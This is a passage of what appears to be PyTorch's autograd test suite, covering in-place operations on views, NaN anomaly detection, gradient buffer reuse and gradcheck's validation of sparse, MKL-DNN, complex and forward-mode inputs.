requires_grad=True) y = x.view_as(x) with self.assertRaisesRegex(RuntimeError, "a view of a leaf Variable that " "requires grad is being used in " "an in-place operation."): y.add_(1) def test_inplace_on_view_backward(self): # Issue #10532: Make sure that this does not raise RuntimeError. net = nn.Sequential( nn.InstanceNorm2d(2), nn.ReLU(True) ) x = torch.tensor([[[[1.0, 1.0]]]], requires_grad=True) g, = torch.autograd.grad(net(x).pow(2), [x], grad_outputs=x.new_ones(x.shape) , create_graph=True) torch.autograd.grad(g.sum(), [x]) self.assertEqual(x, torch.tensor([[[[1.0, 1.0]]]])) # https://discuss.pytorch.org/t/freeing-buffer-strange-behavior/31955/8 inputs = torch.ones((1, 3, 256, 256), requires_grad=True) tmp1 = (inputs + 1).view_as(inputs) tmp2 = torch.nn.functional.threshold(tmp1, 0., 0., True) prob_interpolated = torch.sigmoid(tmp2) gradients = torch.autograd.grad(outputs=prob_interpolated, inputs=inputs, grad_outputs=torch.ones(prob_interpolated.size()), create_graph=True, retain_graph=True)[0] gradient_penalty = gradients.sum() gradient_penalty.backward() fn = gradient_penalty.grad_fn.next_functions[0][0].next_functions[1][0] self.assertEqual(fn.name(), "ThresholdBackwardBackward") def test_inplace_on_view_weak_grad_fn(self): # Issue 23502: Test that b's grad_fn is preserved. a = torch.arange(10.0, requires_grad=True) b = a.narrow(0, 0, 2).clone().view(-1) b.relu_() c = b.clone() del b gc.collect() s = c.sum() s.backward() self.assertEqual(s, torch.tensor(1.0)) # Issue #21875: Fail faster (when we try to modify the view vs. in backward()) a = torch.rand(10, requires_grad=True).narrow(0, 0, 10) with self.assertRaises(RuntimeError): b = a.relu_() # TODO: see if these tests can be moved to OpInfo or test_binary_ufuncs.py def test_mul_out(self): a = torch.randn(2, 2, requires_grad=True) b = torch.randn(2, 2, requires_grad=True) x = torch.zeros_like(a) # out=... functions don't support automatic differentiation currently self.assertRaisesRegex(RuntimeError, 'out=', lambda: torch.mul(a, b, out=x)) # the inputs can require grad if we're in no_grad() mode with torch.no_grad(): torch.mul(a, b, out=x) self.assertEqual(x, a * b) def test_mul_out_result_requires_grad(self): a = torch.randn(2, 2) b = torch.randn(2, 2) x = torch.zeros(2, 2, requires_grad=True) # we should throw an exception if the output requires grad self.assertRaisesRegex(RuntimeError, 'out=', lambda: torch.mul(a, b, out=x)) # TODO: see if this test can be OpInfo'd or moved to diagonal's test suite def test_diagonal_derivative_requires_grad(self): # test that the backward requires grad # we do this is because diagonal_backward uses inplace # operations and gradgradcheck does not catch whether # they works as expected (it will succeed even if # the gradient has requires_grad == False a = torch.randn(5, 6, requires_grad=True) b = torch.diagonal(a)**2 c = b.sum() d, = torch.autograd.grad(c, a, retain_graph=True, create_graph=True) self.assertTrue(d.requires_grad) def test_anomaly_detect_nan(self): size = 10 class MyFunc(Function): @staticmethod def forward(ctx, inp1, inp2, fail_0th): ctx.fail_0th = fail_0th return inp1.sum(0, keepdim=True) @staticmethod def backward(ctx, gO): gI = gO.clone().expand(size) gI[0] = 0 gI[0] /= 0 # Generate a nan if ctx.fail_0th: return gI, None, None else: return None, gI, None inp = torch.rand(size, requires_grad=True) out = MyFunc.apply(inp, inp, True) out.backward() # Should not fail inp = torch.rand(size, requires_grad=True) out = MyFunc.apply(inp, inp, True) with self.assertRaisesRegex(RuntimeError, "Function 'MyFuncBackward' returned nan values in its 0th output."): with warnings.catch_warnings(record=True) as w: with detect_anomaly(): out.backward() self.assertIn('No forward pass information', str(w[0].message)) inp = torch.rand(size, requires_grad=True) with self.assertRaisesRegex(RuntimeError, "Function 'MyFuncBackward' returned nan values in its 1th output."): with warnings.catch_warnings(record=True) as w: with detect_anomaly(): out = MyFunc.apply(inp, inp, False) out.backward() self.assertIn('MyFunc.apply', str(w[0].message)) def test_nested_anomaly_detect_nan(self): size = 10 class MyFunc(Function): @staticmethod def forward(ctx, inp1, fail_0th): ctx.fail_0th = fail_0th ctx.save_for_backward(inp1) return inp1.sum(0, keepdim=True) @staticmethod def backward(ctx, gO): inp, = ctx.saved_tensors fail_0th = ctx.fail_0th g = gO.clone().expand(size) gI = MyFunc2.apply(g * inp, g + inp, fail_0th) return gI, None class MyFunc2(Function): @staticmethod def forward(ctx, inp1, inp2, fail_0th): ctx.fail_0th = fail_0th return inp1 * 2.0 + inp2 @staticmethod def backward(ctx, gO): fail_0th = ctx.fail_0th g1 = gO.clone() g2 = gO.clone() g1[0] = 0 g2[0] = 0 # generate a nan if fail_0th: g1[0] /= 0 else: g2[0] /= 0 return g1, g2, None inp = torch.rand(size, requires_grad=True) out = MyFunc.apply(inp, True) ginp, = torch.autograd.grad(out, (inp,), create_graph=True) gsum = ginp.sum() gsum.backward() # should not fail inp = torch.rand(size, requires_grad=True) out = MyFunc.apply(inp, True) ginp, = torch.autograd.grad(out, (inp,), create_graph=True) gsum = ginp.sum() with warnings.catch_warnings(record=True) as w: with self.assertRaisesRegex(RuntimeError, "Function 'MyFunc2Backward' returned nan values in its 0th output."): with detect_anomaly(): gsum.backward() self.assertIn('No forward pass information', str(w[1].message)) inp = torch.rand(size, requires_grad=True) with warnings.catch_warnings(record=True) as w: with self.assertRaisesRegex(RuntimeError, "Function 'MyFunc2Backward' returned nan values in its 1th output."): with detect_anomaly(): out = MyFunc.apply(inp, False) ginp, = torch.autograd.grad(out, (inp,), create_graph=True) gsum = ginp.sum() gsum.backward() self.assertIn('MyFunc2.apply', str(w[1].message)) self.assertIn('MyFunc.apply', str(w[2].message)) def test_anomaly_grad_warnings(self): # PyTorch won't throw warnings if there is an error # but we'd want to at least see them in stderr class StdErrDiverter: def __enter__(self): self.stderr_orig = sys.stderr self.stderr_new = io.StringIO() sys.stderr = self.stderr_new return self def __exit__(self, *args): self.captured = self.stderr_new.getvalue() sys.stderr = self.stderr_orig # if the warnings don't throw, they will be handled as regular warnings with self.assertRaisesRegex(RuntimeError, "one of the variables needed for gradient computation has been " "modified by an inplace operation"): with warnings.catch_warnings(record=True) as w: with detect_anomaly(): a = torch.randn(5, requires_grad=True) d1 = a + 1 d2 = d1 ** 2 d1 += 1 torch.autograd.grad(d2.sum(), a) self.assertEqual(len(w), 2) self.assertIn('Anomaly Detection has been enabled', str(w[0].message)) self.assertIn('Error detected in PowBackward0', str(w[1].message)) # if the warning throws, it will be printed to sys.stderr with self.assertRaisesRegex(RuntimeError, "one of the variables needed for gradient computation has been " "modified by an inplace operation"): with warnings.catch_warnings(record=True) as w: with detect_anomaly(): warnings.simplefilter("error") with StdErrDiverter() as s: a = torch.randn(5, requires_grad=True) d1 = a + 1 d2 = d1 ** 2 d1 += 1 torch.autograd.grad(d2.sum(), a) self.assertEqual(len(w), 1) self.assertIn('Anomaly Detection has been enabled', str(w[0].message)) self.assertIn('Error detected in PowBackward0', s.captured) def test_anomaly_assign_parent_cleanup(self): # Test that python objects created are properly cleaned up when assign_parent is called import weakref def get_ref(): # we use torch.exp here but any function that will construct a new node in its # backward call in grad mode will work x = torch.randn(2, 2, requires_grad=True) t = x.exp() # ExpBackward calls mul, creating the MulBackward node when create_graph=True. # In anomaly mode, a PyObject referencing MulBackward's "parent" ExpBackward is added to # MulBackward's anomaly metadata dict, creating the following reference chain: # # grad -> MulBackward -> PyObject -> ExpBackward # with detect_anomaly(): grad = torch.autograd.grad(t, x, torch.ones_like(t), create_graph=True) # We add a weak reference to a new Foo object, which we insert into ExpBackward's metadata dict # # (PyObject) -> ExpBackward -> dict -> *Foo* # t ----^ WeakRef ---^ # # We want to test that when grad goes out of scope at the end of this function that PyObject is destroyed # We can test this by seeing whether Foo is not kept alive once t is destroyed class Foo(object): pass my_obj = Foo() meta_dict = t.grad_fn.metadata meta_dict[0] = my_obj ref = weakref.ref(my_obj) return t, ref t, ref = get_ref() self.assertIsNotNone(ref()) del t self.assertIsNone(ref()) def test_nested_anomaly_printstack_cleanup(self): # Test if metadata dict PyObject is properly destroyed import weakref def get_ref(): # This is similar to the construction in test_anomaly_assign_parent_cleanup: # # MyFuncBackward2 -> PyObject -> MyFuncBackward -> dict -> Foo # out ---^ WeakRef ---^ # # We want to check that Foo is still properly destroyed even when MyFunc2Backward's # AnomalyMetadata calls printstack, which does some python object manipulation. # # You might be wondering why we still have to test_anomaly_assign_parent_cleanup, # since if PyObject is not destroyed here, wouldn't this test would detect that also? # The answer is that custom function's PyObject (THPFunction) actually only hold # a weak reference to the c++ node! class MyFunc(Function): @staticmethod def forward(ctx, x): ctx.save_for_backward(x) return x @staticmethod def backward(ctx, gO): x, = ctx.saved_tensors return MyFunc2.apply(x) class MyFunc2(Function): @staticmethod def forward(ctx, x): return x @staticmethod def backward(ctx, gO): return gO + float("NaN") inp = torch.rand(1, requires_grad=True) out = MyFunc.apply(inp) ginp, = torch.autograd.grad(out, (inp,), create_graph=True) with warnings.catch_warnings(record=True) as w: with self.assertRaisesRegex(RuntimeError, "Function 'MyFunc2Backward' returned nan values in its 0th output."): with detect_anomaly(): ginp.backward() class Foo(object): pass my_obj = Foo() meta_dict = out.grad_fn.metadata meta_dict[0] = my_obj ref = weakref.ref(my_obj) return out, ref t, ref = get_ref() self.assertIsNotNone(ref()) del t self.assertIsNone(ref()) # TODO: update these tests to use the linalg module and move to test_linalg.py @skipIfNoLapack def test_eig_no_eigenvectors(self): A = torch.tensor([[1., 2.], [2., 4.]], dtype=torch.float32, requires_grad=True) w, v = torch.eig(A, eigenvectors=False) with self.assertRaisesRegex(RuntimeError, 'is not differentiable'): torch.autograd.backward([w, v], [torch.ones_like(w), torch.ones_like(v)]) @skipIfNoLapack def test_eig_complex_eigenvalues(self): A = torch.tensor([[0., -1.], [1., 0.]], dtype=torch.float32, requires_grad=True) w, v = torch.eig(A, eigenvectors=True) with self.assertRaisesRegex(RuntimeError, 'does not support complex eigenvalues'): torch.autograd.backward([w, v], [torch.ones_like(w), torch.ones_like(v)]) @skipIfNoLapack def test_symeig_no_eigenvectors(self): A = torch.tensor([[1., 2.], [2., 4.]], dtype=torch.float32, requires_grad=True) w, v = torch.symeig(A, eigenvectors=False) with self.assertRaisesRegex(RuntimeError, 'is not differentiable'): torch.autograd.backward([w, v], [torch.ones_like(w), torch.ones_like(v)]) @skipIfNoLapack def test_svd_no_singularvectors(self): A = torch.randn(2, 2, dtype=torch.float32, requires_grad=True) u, s, v = torch.svd(A, compute_uv=False) with self.assertRaisesRegex(RuntimeError, 'cannot compute backward'): torch.autograd.backward([u, s, v], [torch.ones_like(u), torch.ones_like(s), torch.ones_like(v)]) def test_no_grad_copy(self): # create autograd function that saves grad pointer as class static class MyFunc(Function): static_grad_ptr = None @staticmethod def forward(ctx, inp1, inp2): return inp1 + inp2 @staticmethod def backward(ctx, grad): MyFunc.static_grad_ptr = grad.data_ptr() return grad, grad class NonContGradFunc(Function): @staticmethod def forward(ctx, inp1): ctx.size = inp1.size() return torch.tensor([1.]) @staticmethod def backward(ctx, grad): return torch.ones(1).expand(ctx.size) a = torch.randn(5, 6, requires_grad=True) b = torch.randn(5, 6, requires_grad=True) # non-contiguous grad should be copied NonContGradFunc.apply(MyFunc.apply(a, b)).backward() self.assertFalse(a.grad.data_ptr() == MyFunc.static_grad_ptr) self.assertFalse(b.grad.data_ptr() == MyFunc.static_grad_ptr) # test case that should trigger no copy for one of a,b a.grad = b.grad = None MyFunc.apply(a, b)[1][0].backward() p_g = MyFunc.static_grad_ptr p_a = a.grad.data_ptr() p_b = b.grad.data_ptr() # check a,b uses different grad buffer self.assertFalse(p_a == p_b) # check one of them is using the computed buffer self.assertTrue(p_a == p_g or p_b == p_g) def test_no_grad_copy_sparse(self): # create autograd function that saves grad pointer as class static class MyFunc(Function): static_grad_ptr = None @staticmethod def forward(ctx, inp1, inp2): return inp1 + inp2 @staticmethod def backward(ctx, grad): MyFunc.static_grad_ptr = grad._values().data_ptr() return grad, grad class NonContGradFunc(Function): static_grad_ptr = None @staticmethod def forward(ctx, inp1, inp2): return inp1 + inp2 @staticmethod def backward(ctx, grad): # Create a sparse tensor with non-contigous indices and values # and return as grad. v = torch.rand(1, 3) i = torch.ones(1, 1, dtype=torch.long) nv = v.expand(8, 3) ni = i.expand(1, 8) ngrad = torch.sparse.FloatTensor(ni, nv, torch.Size([10, 3])) NonContGradFunc.static_grad_ptr = ngrad._values().data_ptr() return ngrad, ngrad a = torch.randn(10, 3, requires_grad=True) b = torch.randn(10, 3, requires_grad=True) input = torch.tensor([1, 2, 4, 5, 4, 3, 2, 9]) offsets = torch.tensor([0, 4]) import torch.nn.functional as F # test case that should trigger no copy for one of a,b emb_matrix = MyFunc.apply(a, b) loss = F.embedding_bag(emb_matrix, input, offsets, sparse=True).sum() loss.backward(retain_graph=True) p_g = MyFunc.static_grad_ptr p_a = a.grad._values().data_ptr() p_b = b.grad._values().data_ptr() # check a,b uses different grad buffer self.assertFalse(p_a == p_b) # check one of them is using the computed buffer self.assertTrue(p_a == p_g or p_b == p_g) # Run backwards multiple times to ensure accumulation works. for i in range(10): loss.backward(retain_graph=True) # non-contiguous indices and value, we should trigger a copy. a.grad = b.grad = None emb_matrix = NonContGradFunc.apply(a, b) loss = F.embedding_bag(emb_matrix, input, offsets, sparse=True).sum() loss.backward(retain_graph=True) p_g = NonContGradFunc.static_grad_ptr p_a = a.grad._values().data_ptr() p_b = b.grad._values().data_ptr() # check a,b uses different grad buffer self.assertFalse(p_a == p_b) # Verify we cloned both grads. self.assertFalse(p_a == p_g) self.assertFalse(p_b == p_g) # Run backwards multiple times to ensure accumulation works. for i in range(10): loss.backward(retain_graph=True) def test_gradcheck_single_input(self): def check(fast_mode): def f(inp): return inp.mul(5) gradcheck(f, torch.rand(10, dtype=torch.float64, requires_grad=True), fast_mode=fast_mode) gradgradcheck(f, torch.rand(10, dtype=torch.float64, requires_grad=True), fast_mode=fast_mode) check(fast_mode=True) check(fast_mode=False) def test_gradcheck_sparse_input(self): def check(fast_mode): def fn(sparse): return torch.sparse.sum(sparse) gradcheck(fn, torch.rand(10, dtype=torch.double).to_sparse().requires_grad_(True), check_sparse_nnz=True, check_batched_grad=False, fast_mode=fast_mode) with self.assertRaisesRegex(RuntimeError, 'gradcheck expects all tensor inputs are dense'): gradcheck(fn, torch.rand(10, dtype=torch.double).to_sparse().requires_grad_(True), check_sparse_nnz=False, check_batched_grad=False, fast_mode=fast_mode) check(fast_mode=True) check(fast_mode=False) def test_gradcheck_nondeterministic(self): class NonDetFunc(Function): @staticmethod def forward(ctx, x, jitter=0.0): ctx._jitter = jitter return x @staticmethod def backward(ctx, grad_out): return NonDetFunc.apply(grad_out, ctx._jitter) * (1 + torch.rand_like(grad_out) * ctx._jitter), None def check(fast_mode): inp = torch.randn(5, 5, dtype=torch.double, requires_grad=True) gradcheck(lambda x: NonDetFunc.apply(x, 0.0), inp, check_batched_grad=False, fast_mode=fast_mode) with self.assertRaisesRegex(RuntimeError, 'Backward is not reentrant'): gradcheck(lambda x: NonDetFunc.apply(x, 1e-6), inp, check_batched_grad=False, fast_mode=fast_mode) with self.assertRaisesRegex(RuntimeError, 'Backward is not reentrant'): gradgradcheck(lambda x: NonDetFunc.apply(x, 1e-12), inp, check_batched_grad=False, fast_mode=fast_mode) gradcheck(lambda x: NonDetFunc.apply(x, 0.0), inp, nondet_tol=1e-5, check_batched_grad=False, fast_mode=fast_mode) gradcheck(lambda x: NonDetFunc.apply(x, 1e-6), inp, nondet_tol=1e-5, check_batched_grad=False, fast_mode=fast_mode) gradgradcheck(lambda x: NonDetFunc.apply(x, 1e-12), inp, nondet_tol=1e-5, check_batched_grad=False, fast_mode=fast_mode) check(fast_mode=True) check(fast_mode=False) def test_gradcheck_validates_inputs(self): def check(fast_mode): # when inputs are not dense, but check_sparse_nnz is false x = torch.rand(10, requires_grad=True).to_sparse() with self.assertRaisesRegex(RuntimeError, 'dense when check_sparse_nnz is set to False.'): gradcheck(lambda x: x.to_dense(), (x,), check_sparse_nnz=False, check_batched_grad=False, fast_mode=fast_mode) self.assertFalse(gradcheck(lambda x: x.to_dense(), (x,), check_sparse_nnz=False, check_batched_grad=False, raise_exception=False, fast_mode=fast_mode)) # when none of the inputs require grad (always raises even if raise_exception=False) x = torch.rand(10, requires_grad=False) with self.assertRaisesRegex(ValueError, 'at least one input tensor to require gradient'): gradcheck(lambda x: x, (x,), raise_exception=False, fast_mode=fast_mode) # (warning) when inputs are not double precision x = torch.ones(1, dtype=torch.float32, requires_grad=True) with self.assertWarnsRegex(UserWarning, "Input #0 requires gradient and is not a double precision"): self.assertTrue(gradcheck(lambda x: x, (x,), atol=1e-1, fast_mode=fast_mode)) # when layout is not mkldnn(aka has strides) and input has a dimension with stride 0. (always raises # even if raise_exception=False) x = torch.ones(1, dtype=torch.float64, requires_grad=True) x = x.expand((2, 2)) with self.assertRaisesRegex(RuntimeError, 'The 0th input has a dimension with stride 0'): gradcheck(lambda x: x, (x,), raise_exception=False, fast_mode=fast_mode) check(fast_mode=True) check(fast_mode=False) @unittest.skipIf(not torch._C.has_mkldnn, "MKL-DNN build is disabled") def test_gradcheck_validates_input_mkldnn(self): # when mkldnn inputs, forward mode testing is not allowed # Update tolerances below to make sure the gradient match even in single precision floats # Use the warning assert to hide the float32 warning x = torch.ones(1).to_mkldnn().requires_grad_() with self.assertWarnsRegex(UserWarning, "Input #0 requires gradient and is not a double precision"): with self.assertRaisesRegex(ValueError, 'MKLDNN inputs are not support for forward AD gradcheck.'): gradcheck(lambda x: x.to_dense(), (x,), raise_exception=False, fast_mode=False, check_forward_ad=True, atol=1e-1, rtol=1e-1) with self.assertWarnsRegex(UserWarning, "Input #0 requires gradient and is not a double precision"): with self.assertRaisesRegex(ValueError, 'MKLDNN inputs are not support for forward AD gradcheck.'): gradcheck(lambda x: x.to_dense(), (x,), raise_exception=False, fast_mode=True, check_forward_ad=True, atol=1e-1, rtol=1e-1) @unittest.skipIf(not torch._C.has_mkldnn, "MKL-DNN build is disabled") def test_gradcheck_test_outputs(self): def check(fast_mode): # when sparse outputs (always raise even if raise_exception=False) x = torch.rand(10, requires_grad=True).to_sparse() with self.assertRaisesRegex(ValueError, 'Sparse output is not supported at gradcheck yet'): gradcheck(lambda x: x, (x,), check_sparse_nnz=True, check_batched_grad=False, raise_exception=False, fast_mode=fast_mode) # when mkldnn outputs (always raise even if raise_exception=False) root = torch.randn(4, 5, dtype=torch.float32, requires_grad=True) with self.assertRaisesRegex(ValueError, 'MKLDNN output is not supported at gradcheck yet'): gradcheck(lambda x: x.to_mkldnn(), (root,), check_batched_grad=False, raise_exception=False, fast_mode=fast_mode) check(fast_mode=True) check(fast_mode=False) def test_gradcheck_check_no_differentiable_outputs(self): def check(fast_mode): # When none of the outputs are differentiable, but numerical gradient is not zero x = torch.ones((1,), requires_grad=True) with self.assertRaisesRegex(RuntimeError, 'Numerical gradient for function expected to be zero'): gradcheck(lambda x: torch.tensor([x]), x) self.assertFalse(gradcheck(lambda x: torch.tensor([x]), x, raise_exception=False, fast_mode=fast_mode)) # succeed when no outputs at all self.assertTrue(gradcheck(lambda x: (), (x,), fast_mode=fast_mode)) check(fast_mode=True) check(fast_mode=False) def test_gradcheck_check_batched_grad(self): def check(fast_mode): x = torch.rand(10, dtype=torch.double, requires_grad=True).to_sparse() # runtime error while compute batched grad (print big error) with self.assertRaisesRegex(RuntimeError, 'gradcheck or gradgradcheck failed while testing batched gradient'): gradcheck(lambda x: x.to_dense(), (x,), check_sparse_nnz=True, check_batched_grad=True, fast_mode=fast_mode) self.assertFalse(gradcheck(lambda x: x.to_dense(), (x,), check_sparse_nnz=True, check_batched_grad=True, raise_exception=False, fast_mode=fast_mode)) check(fast_mode=True) check(fast_mode=False) def test_gradcheck_backward_mul_by_grad_output(self): # when grad_input is sparse and has incorrect sparse_dim/dense_dim def check(fast_mode): def fn(x): def hook(grad): if grad is not None: return grad.to_dense().to_sparse(1) return grad y = x.clone() y.register_hook(hook) return y.to_dense() x = torch.ones((2, 2), dtype=torch.double, requires_grad=True).to_sparse() with self.assertRaisesRegex(RuntimeError, 'grad is sparse tensor, but has incorrect sparse_dim'): gradcheck(fn, (x,), atol=1e-1, check_sparse_nnz=True, check_batched_grad=False, fast_mode=fast_mode) self.assertFalse(gradcheck(fn, (x,), atol=1e-1, check_sparse_nnz=True, check_batched_grad=False, raise_exception=False, fast_mode=fast_mode)) # when backward not multiplied by grad_output (non-sparse case) def fn2(x): y = x.clone() y.register_hook(lambda x: x + 1e-2) return y x = torch.ones(1, dtype=torch.double, requires_grad=True) with self.assertRaisesRegex(RuntimeError, 'backward not multiplied by grad_output'): gradcheck(fn2, (x,), atol=1e-1, fast_mode=fast_mode) self.assertFalse(gradcheck(fn2, (x,), atol=1e-1, raise_exception=False, fast_mode=fast_mode)) # when backward not multiplied by grad_output (sparse case) def fn3(x): y = x.clone().to_dense() y.register_hook(lambda x: x + 1e-2) return y x = torch.ones(1, dtype=torch.double, requires_grad=True).to_sparse() with self.assertRaisesRegex(RuntimeError, 'backward not multiplied by grad_output'): gradcheck(fn3, (x,), atol=1e-1, check_sparse_nnz=True, check_batched_grad=False, fast_mode=fast_mode) self.assertFalse(gradcheck(fn3, (x,), atol=1e-1, check_sparse_nnz=True, check_batched_grad=False, raise_exception=False, fast_mode=fast_mode)) # when layout of grad_input is not the same as input class Test(Function): @staticmethod def forward(ctx, x): return x @staticmethod def backward(ctx, x): return x.to_sparse() x = torch.ones(1, dtype=torch.double, requires_grad=True) with self.assertRaisesRegex(RuntimeError, 'grad is incorrect layout'): gradcheck(Test.apply, (x,), check_batched_grad=False, fast_mode=fast_mode) self.assertFalse(gradcheck(Test.apply, (x,), check_batched_grad=False, raise_exception=False, fast_mode=fast_mode)) check(fast_mode=True) check(fast_mode=False) def test_gradcheck_undefined_grad(self): def check(fast_mode): # when encounter runtime error while running backward def fn(x): def hook(x): if x is None: raise RuntimeError("x is undefined") y = x.clone() y.register_hook(hook) return y x = torch.ones(1, dtype=torch.double, requires_grad=True) with self.assertWarnsRegex(UserWarning, "Backwards compatibility: New undefined gradient support checking feature"): with self.assertRaisesRegex(RuntimeError, 'Expected backward function to handle undefined output grads'): gradcheck(fn, (x,), fast_mode=fast_mode) self.assertFalse(gradcheck(fn, (x,), raise_exception=False, fast_mode=fast_mode)) check(fast_mode=True) check(fast_mode=False) def test_gradcheck_jacobian_mismatch(self): def check(fast_mode): def fn(x): # R -> R, C -> C y = x.clone() y.register_hook(lambda x: x + 1e-2) return y x = torch.ones(2, 2, requires_grad=True) with self.assertRaisesRegex(RuntimeError, 'Jacobian mismatch for output 0 with respect to input 0'): gradcheck(fn, (x,), fast_mode=fast_mode) self.assertFalse(gradcheck(fn, (x,), raise_exception=False, fast_mode=fast_mode)) x_c = torch.ones(2, 2, requires_grad=True, dtype=torch.complex128) with self.assertRaisesRegex(RuntimeError, 'While considering the imaginary part of complex outputs only'): gradcheck(fn, (x_c,), fast_mode=False) self.assertFalse(gradcheck(fn, (x_c,), raise_exception=False, fast_mode=False)) def fn2(x): # R -> C y = torch.complex(x, x) y.register_hook(lambda x: x + 1e-2) return y x = torch.ones(2, 2, requires_grad=True) with self.assertRaisesRegex(RuntimeError, 'While considering the imaginary part of complex outputs only'): gradcheck(fn2, (x,), fast_mode=False) self.assertFalse(gradcheck(fn2, (x,), raise_exception=False, fast_mode=False)) def fn3(x): # C -> R y = torch.real(x) y.register_hook(lambda x: x + 1e-2) return y with self.assertRaisesRegex(RuntimeError, 'Jacobian mismatch for output 0 with respect to input 0'): gradcheck(fn3, (x_c,), fast_mode=False) self.assertFalse(gradcheck(fn3, (x_c,), raise_exception=False, fast_mode=False)) check(fast_mode=True) check(fast_mode=False) def test_gradcheck_dense_and_sparse_inputs(self): def check(fast_mode): def fn(x, y): return x * y.coalesce().to_dense() a = torch.rand(2, 2, dtype=torch.double, requires_grad=True) b = torch.rand(2, 2, dtype=torch.double,).to_sparse().requires_grad_(True) self.assertTrue(gradcheck(fn, (a, b), check_sparse_nnz=True, check_batched_grad=False, fast_mode=fast_mode)) check(fast_mode=True) check(fast_mode=False) @unittest.skipIf(not torch._C.has_mkldnn, "MKL-DNN build is disabled") def test_gradcheck_multiple_mkldnn_inputs(self): def check(fast_mode): def fn(x, y): return x + y.to_dense() a = torch.rand(10, requires_grad=True) b = torch.rand(10, dtype=torch.float32).to_mkldnn().requires_grad_(True) self.assertTrue(gradcheck(fn, (a, b), atol=1e-1, check_batched_grad=False, fast_mode=fast_mode)) def fn2(x, y): return x.to_dense() + y.to_dense() c = torch.rand(10, dtype=torch.float32).to_mkldnn().requires_grad_(True) self.assertTrue(gradcheck(fn, (a, c), atol=1e-1, check_batched_grad=False, fast_mode=fast_mode)) check(fast_mode=True) check(fast_mode=False) def test_gradcheck_output_shape_or_dtype_depend_on_values(self): def check(fast_mode): def fn(x): if torch.all(x >= 1): return torch.cat([x, x]) else: return x a = torch.ones(1, dtype=torch.double, requires_grad=True) with self.assertRaisesRegex(AssertionError, 'return outputs with the same shape when inputs are perturbed'): self.assertTrue(gradcheck(fn, (a,), fast_mode=fast_mode)) def fn2(x): if torch.all(x >= 1): return x.to(torch.float32) else: return x with self.assertRaisesRegex(AssertionError, 'return outputs with the same dtype when inputs are perturbed'): self.assertTrue(gradcheck(fn2, (a,), fast_mode=fast_mode)) check(fast_mode=True) check(fast_mode=False) def test_gradcheck_complex_non_complex_outputs(self): def fn(x, y): z = torch.complex(x, y) return z, x + 1 a = torch.ones(2, 2, requires_grad=True, dtype=torch.float64) b = torch.ones(2, 2, requires_grad=True, dtype=torch.float64) self.assertTrue(gradcheck(fn, (a, b))) def fn2(z): return z, torch.real(z) c = torch.ones(2, 2, requires_grad=True, dtype=torch.complex128) self.assertTrue(gradcheck(fn2, (c))) def test_gradcheck_get_numerical_jacobian(self): # get_numerical_jacobian is deprecated and no longer used internally by gradcheck from torch.autograd.gradcheck import get_numerical_jacobian def fn(inputs): # get_numerical_jacobian requires fn to take inputs as a tuple # and returns the jacobian wrt the first output x = inputs[0] y = inputs[1] return 2 * x + y, x + 2 * y a = torch.rand(2, 2, requires_grad=True, dtype=torch.float64) b = torch.rand(2, 2, requires_grad=True, dtype=torch.float64) with self.assertWarnsRegex(UserWarning, "get_numerical_jacobian was part of PyTorch's private API"): jacobian = get_numerical_jacobian(fn, (a, b), target=a, eps=1e-6) self.assertEqual(jacobian[0], 2 * torch.eye(4, dtype=torch.double)) with self.assertWarnsRegex(UserWarning, "get_numerical_jacobian was part of PyTorch's private API"): jacobian = get_numerical_jacobian(fn, (a, b), eps=1e-6) self.assertEqual(jacobian[0], 2 * torch.eye(4, dtype=torch.double)) self.assertEqual(jacobian[1], 1 * torch.eye(4, dtype=torch.double)) with self.assertRaisesRegex(ValueError, "Expected grad_out to be 1.0"): jacobian = get_numerical_jacobian(fn, (a, b), eps=1e-6, grad_out=2.0) def test_gradcheck_get_analytical_jacobian(self): from torch.autograd.gradcheck import get_analytical_jacobian def fn(x, y): return 2 * x + y, x + 2 * y a = torch.rand(2, 2, requires_grad=True, dtype=torch.float64) b = torch.rand(2, 2, requires_grad=True, dtype=torch.float64) outputs = fn(a, b) with self.assertWarnsRegex(UserWarning, "get_analytical_jacobian was part of PyTorch's private API"): jacobians, reentrant, correct_grad_sizes, correct_grad_types = get_analytical_jacobian((a, b), outputs[0]) self.assertEqual(jacobians[0], 2 * torch.eye(4, dtype=torch.double)) self.assertEqual(jacobians[1], 1 * torch.eye(4, dtype=torch.double)) self.assertTrue(reentrant) class NonDetFunc(Function): @staticmethod def forward(ctx, x, jitter=0.0): ctx._jitter = jitter return x @staticmethod def backward(ctx, grad_out): return NonDetFunc.apply(grad_out, ctx._jitter) * (1 + torch.rand_like(grad_out) * ctx._jitter), None outputs = NonDetFunc.apply(a, 1e-6) with self.assertWarnsRegex(UserWarning, "get_analytical_jacobian was part of PyTorch's private API"): jacobians, reentrant, correct_grad_sizes, correct_grad_types = get_analytical_jacobian((a,), outputs) self.assertFalse(reentrant) with self.assertRaisesRegex(ValueError, "Expected grad_out to be 1.0"): jacobians, _, _, _ = get_analytical_jacobian((a,), outputs, grad_out=2.0) def test_gradcheck_custom_error(self): from torch.autograd.gradcheck import GradcheckError def check(fast_mode): def fn(x): y = x.clone() y.register_hook(lambda x: x + 1e-2) return y x = torch.ones(2, 2, requires_grad=True) with self.assertRaisesRegex(GradcheckError, 'Jacobian mismatch for output 0 with respect to input 0'): gradcheck(fn, (x,), fast_mode=fast_mode) with self.assertRaisesRegex(RuntimeError, 'Jacobian mismatch for output 0 with respect to input 0'): gradcheck(fn, (x,), fast_mode=fast_mode) self.assertFalse(gradcheck(fn, (x,), raise_exception=False, fast_mode=fast_mode)) def fn2(x): raise RuntimeError("Not a GradcheckError!") # Checks that when raise_exception=False, non-GradcheckErrors are not caught by gradcheck with self.assertRaisesRegex(RuntimeError, "Not a GradcheckError!"): gradcheck(fn2, (x,), fast_mode=fast_mode, raise_exception=False) check(fast_mode=True) check(fast_mode=False) def test_gradcheck_forward_ad(self): def fn(x, y): return x + y, y def bad_fn(x, y): # Hacky way to check if we're currently inside a forward ad level is_running_forward_ad = fwAD._current_level >= 0 if is_running_forward_ad: y_p, y_d = fwAD.unpack_dual(y) y = fwAD.make_dual(y_p, y_d * 1.1) return x + y, y err_msg = "Jacobian computed with forward mode mismatch for output 0 with respect to input 1" for fast_mode in [True, False]: # Test for all inputs and outputs being real x = torch.rand(2, dtype=torch.double, requires_grad=True) y = torch.rand(2, dtype=torch.double, requires_grad=True) gradcheck(fn, (x, y), check_forward_ad=True, fast_mode=fast_mode) with self.assertRaisesRegex(RuntimeError, err_msg): gradcheck(bad_fn, (x, y), check_forward_ad=True, fast_mode=fast_mode) def basic_mul(x): return torch.view_as_real(torch.resolve_conj(x * 1j)) gradcheck(basic_mul, x, check_forward_ad=True, fast_mode=fast_mode) 